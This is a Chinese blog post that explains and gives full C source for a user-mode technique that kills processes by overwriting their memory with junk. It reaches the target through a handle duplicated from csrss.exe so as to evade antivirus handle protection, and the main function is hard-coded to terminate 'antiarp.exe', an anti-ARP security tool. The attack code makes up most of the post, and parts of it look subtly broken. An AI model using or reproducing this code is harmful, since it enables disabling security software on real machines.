RING3下 內存清零法 殺進程

在一般任務管理器無法關閉進程時用到

內存清零法 殺進程 原理分析

1.先打開CSRSS.EXE系統進程,獲得其句柄,幾乎系統所有的HANDLE結構體中,裏面的ProcessId都是指向csrss.exe的,利用它的PID來進行遍歷進程實現過濾。

2.分配好一塊內存空間Buffer,用來存儲SystemHandleInformation系統句柄信息

3.通過ZwQuerySystemInformation函數來查詢系統句柄信息並保存在Buffer中,爲 ZwQuerySystemInformation 函數傳遞16號參數,且Buffer的開始出保存的是系統句柄的數量.偏移4纔是句柄信息

4.遍歷Buffer中PSYSTEM_HANDLE_TABLE_ENTRY_INFO結構
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


0xxxxxxx ULONG NumberOfHandles
...       PSYSTEM_HANDLE_TABLE_ENTRY_INFO
...       PSYSTEM_HANDLE_TABLE_ENTRY_INFO
..        PSYSTEM_HANDLE_TABLE_ENTRY_INFO
.          .
.          .
.          .

5.幾乎系統所有的HANDLE結構體中,裏面的ProcessId都是指向csrss.exe的,
h_info[i].UniqueProcessId== (ULONG)csrss_id) && (h_info[i].ObjectTypeIndex== 5
利用這個特性 來進行過濾句柄,遍歷每個進程

6.有些時候,進程句柄是打不開的,通過遍歷進程,可以得到句柄值,在知曉句柄值後,就可以進行句柄複製了
ZwDuplicateObject(
     ph,
     (PHANDLE)h_info[i].HandleValue,
     (HANDLE)-1,
     &h_dup,//複製後得到的句柄
     0,
     0,
     DUPLICATE_SAME_ACCESS)
複製後的句柄,就可以隨便操作了

7.使用ZwQueryInformationProcess函數來查詢改句柄的PID,用來遍歷到要操作的目標進程

8.其實可以用更簡單的方式打開進程的,1-7步的目的就是一種非常規打開進程的方式,目的就是防止殺毒防護軟件等對句柄的保護. 如果找到並打開了目標進程,就可以操作該進程內存,往該進程空間寫入垃圾數據,讓程序自己崩潰。
if (pbi.UniqueProcessId == dwProcessId)
    {
     MessageBox(0, "目標已確定!", "!", MB_OK);

     for (i = 0x1000; i < 0x80000000; i = i + 0x1000)
     {
      PVOID pAddress = (PVOID) i;
      ULONG sz = 0x1000;
      ULONG oldp;

      if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) {             
       ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp);
      }         
     }

 

源代碼也可以自己百度下..

 

 

================================================================

 

 

RKU的這招確實不錯。在DebugMan上看到一點關於內存清零的提示信息,準備在RING0下實踐下,結果BSOD的受不了,調試驅動偶還木有入門啊。無賴之下看到了RING3下實現的code,於是學習之。

/*************************************************************************
* 學習者: sudami
* 時間:    07/12/24
*
* 備註:    學習RING3下通過內存清零結束大部分進程的方法.思路如下:
*
* 遍歷所有進程[隱藏進程暫時不在考慮之內]獲得csrss.exe的PID,ZwOpenProcess得到其句柄-->
* 爲ZwQuerySystemInformation 函數傳遞16號參數.獲得系統句柄信息 -->
* 幾乎系統所有的HANDLE結構體中,裏面的ProcessId都是指向csrss.exe的,遍歷每個進程-->
* 調用ZwDuplicateObject複製此進程的句柄表,ZwQueryInformationProcess得到
* PROCESS_BASIC_INFORMATION結構信息; 判斷其中的UniqueProcessId是否和指定的PID相同-->
* 若相同,則相指定進程中寫入垃圾數據,使進程死掉; 若不同,繼續遍歷.
*
*************************************************************************/

#include <windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#include <tlhelp32.h>
#include "G:/sudamiDriver/RootKit.h"

//////////////////////////////////////////////////////////////////////////

#pragma comment (lib,"ntdll.lib") 
#pragma comment (lib, "Kernel32.lib")
#pragma comment (lib, "Advapi32.lib")
#pragma comment (linker, "/subsystem:windows")
#pragma comment (linker, "/ENTRY:main")

//------------------------------------------------------------------

DWORD   GetPidByName (char *szName);
void    KillProcess (ULONG dwProcessId);
BOOL    EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

 

//////////////////////////////////////////////////////////////////////////
// 主函數入口
//
void main()
{    
ULONG   Pid;
HANDLE hToken;

OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
EnablePrivilege (hToken, SE_DEBUG_NAME, TRUE);

if (Pid = GetPidByName("antiarp.exe")) {
   KillProcess (Pid);
} else {
   MessageBox (NULL, TEXT("The process is not exit,please check out."), TEXT("!"), MB_OK);
}
}

/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函數名: GetPidByName
// 
// 參數:   char *szName
//         --> 進程名
//
// 返回值: 指定進程的PID
//
// 功能:   通過CreateToolhelp32Snapshot函數遍歷進程,找到制定進程的PID
//         對RootKit基本無用
//
DWORD GetPidByName (char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32 = {0};
DWORD dwRet=0;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
   return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First (hProcessSnap, &pe32)) {
   do {
    if (lstrcmpi(szName, pe32.szExeFile) == 0) {
     dwRet=pe32.th32ProcessID;
     break;
    }
   }while (Process32Next(hProcessSnap,&pe32));
}
else {
   return 0;
}

if(hProcessSnap !=INVALID_HANDLE_VALUE) {
   CloseHandle(hProcessSnap);
}

return dwRet;
}


/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函數名: KillProcess
// 
// 參數:   ULONG dwProcessId
//         --> 進程ID
//
// 返回值: NULL
//
// 功能:   向指定的進程空間填充垃圾信息.使進程死掉
//         
void KillProcess (ULONG dwProcessId)
{
HMODULE hNTDLL   =   GetModuleHandle("ntdll.dll");
HANDLE     ph, h_dup; 

PSYSTEM_HANDLE_INFORMATION     h_info; 
PROCESS_BASIC_INFORMATION      pbi;

// 得到 csrss.exe 進程的PID
HANDLE     csrss_id    = (HANDLE) GetPidByName ("csrss.exe");
CLIENT_ID client_id;
client_id.UniqueProcess   = csrss_id;
client_id.UniqueThread    = 0;

// 初始化對象結構體
OBJECT_ATTRIBUTES               attr;
attr.Length                     = sizeof(OBJECT_ATTRIBUTES);
attr.RootDirectory     = 0;
attr.ObjectName      = 0;
attr.Attributes      = 0;
attr.SecurityDescriptor    = 0;
attr.SecurityQualityOfService   = 0;


////////////////////////////////////////////////////////////////////////////////////
// 獲得這些函數的實際地址

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = 
   (ZWQUERYSYSTEMINFORMATION) GetProcAddress (hNTDLL, "ZwQuerySystemInformation");

ZWOPENPROCESS ZwOpenProcess = 
   (ZWOPENPROCESS) GetProcAddress (hNTDLL, "ZwOpenProcess");

ZWDUPLICATEOBJECT ZwDuplicateObject =
   (ZWDUPLICATEOBJECT) GetProcAddress (hNTDLL, "ZwDuplicateObject");

ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess = 
   (ZWQUERYINFORMATIONPROCESS) GetProcAddress (hNTDLL, "ZwQueryInformationProcess");

   ZWALLOCATEVIRTUALMEMORY   ZwAllocateVirtualMemory =
   (ZWALLOCATEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwAllocateVirtualMemory");

ZWPROTECTVIRTUALMEMORY ZwProtectVirtualMemory = 
   (ZWPROTECTVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwProtectVirtualMemory");

ZWWRITEVIRTUALMEMORY ZwWriteVirtualMemory = 
   (ZWWRITEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwWriteVirtualMemory");

ZWFREEVIRTUALMEMORY   ZwFreeVirtualMemory = 
   (ZWFREEVIRTUALMEMORY) GetProcAddress (GetModuleHandle("ntdll.dll"),   "ZwFreeVirtualMemory");

ZWCLOSE   ZwClose = 
   (ZWCLOSE) GetProcAddress (hNTDLL, "ZwClose");

////////////////////////////////////////////////////////////////////////////////////


// 打開CSRSS.EXE,獲得其句柄
ZwOpenProcess (&ph, PROCESS_ALL_ACCESS, &attr, &client_id);

ULONG   bytesIO = 0x400000;
PVOID buf     = 0;

ZwAllocateVirtualMemory (GetCurrentProcess(), &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE);

// 爲 ZwQuerySystemInformation 函數傳遞16號參數.獲得系統句柄信息保存在buff中
// buff的開始出保存的是系統句柄的數量.偏移4纔是句柄信息
ZwQuerySystemInformation (SystemHandleInformation, buf, 0x400000, &bytesIO);
ULONG NumOfHandle = (ULONG) buf;
h_info = (PSYSTEM_HANDLE_INFORMATION)((ULONG)buf+4);

for (ULONG i= 0 ; i<NumOfHandle; i++, h_info++)

   if ((h_info->ProcessId == (ULONG)csrss_id) && (h_info->ObjectTypeNumber == 5))
   {
   // 複製句柄
    if (ZwDuplicateObject(
     ph,
     (PHANDLE)h_info->Handle,
     (HANDLE)-1,
     &h_dup,
     0,
     0, 
     DUPLICATE_SAME_ACCESS) == STATUS_SUCCESS) {

      ZwQueryInformationProcess(h_dup, 0, &pbi, sizeof(pbi), &bytesIO);
    }


    if (pbi.UniqueProcessId == dwProcessId)
    {
     MessageBox(0, "目標已確定!", "!", MB_OK);

     for (i = 0x1000; i < 0x80000000; i = i + 0x1000)
     {
      PVOID pAddress = (PVOID) i;
      ULONG sz = 0x1000;
      ULONG oldp;

      if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) {              
       ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp);
      }          
     }

     MessageBox(0, "任務已完成!","!", 0);
   //   ZwClose(h_dup);     
     break;
    }
   }
}

bytesIO = 0;
ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM_RELEASE);
}


/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函數名: EnablePrivilege
// 
// 參數:   HANDLE   hToken     ---> 進程句柄
//         LPCTSTR szPrivName ---> 
//         BOOL     fEnable    --->
//
// 返回值: TRUE | FALSE
//
// 功能:   提升當前進程到指定的特權級
//         
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;

LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0]. Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

return((GetLastError() == ERROR_SUCCESS));
}

///////////////////////////////

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章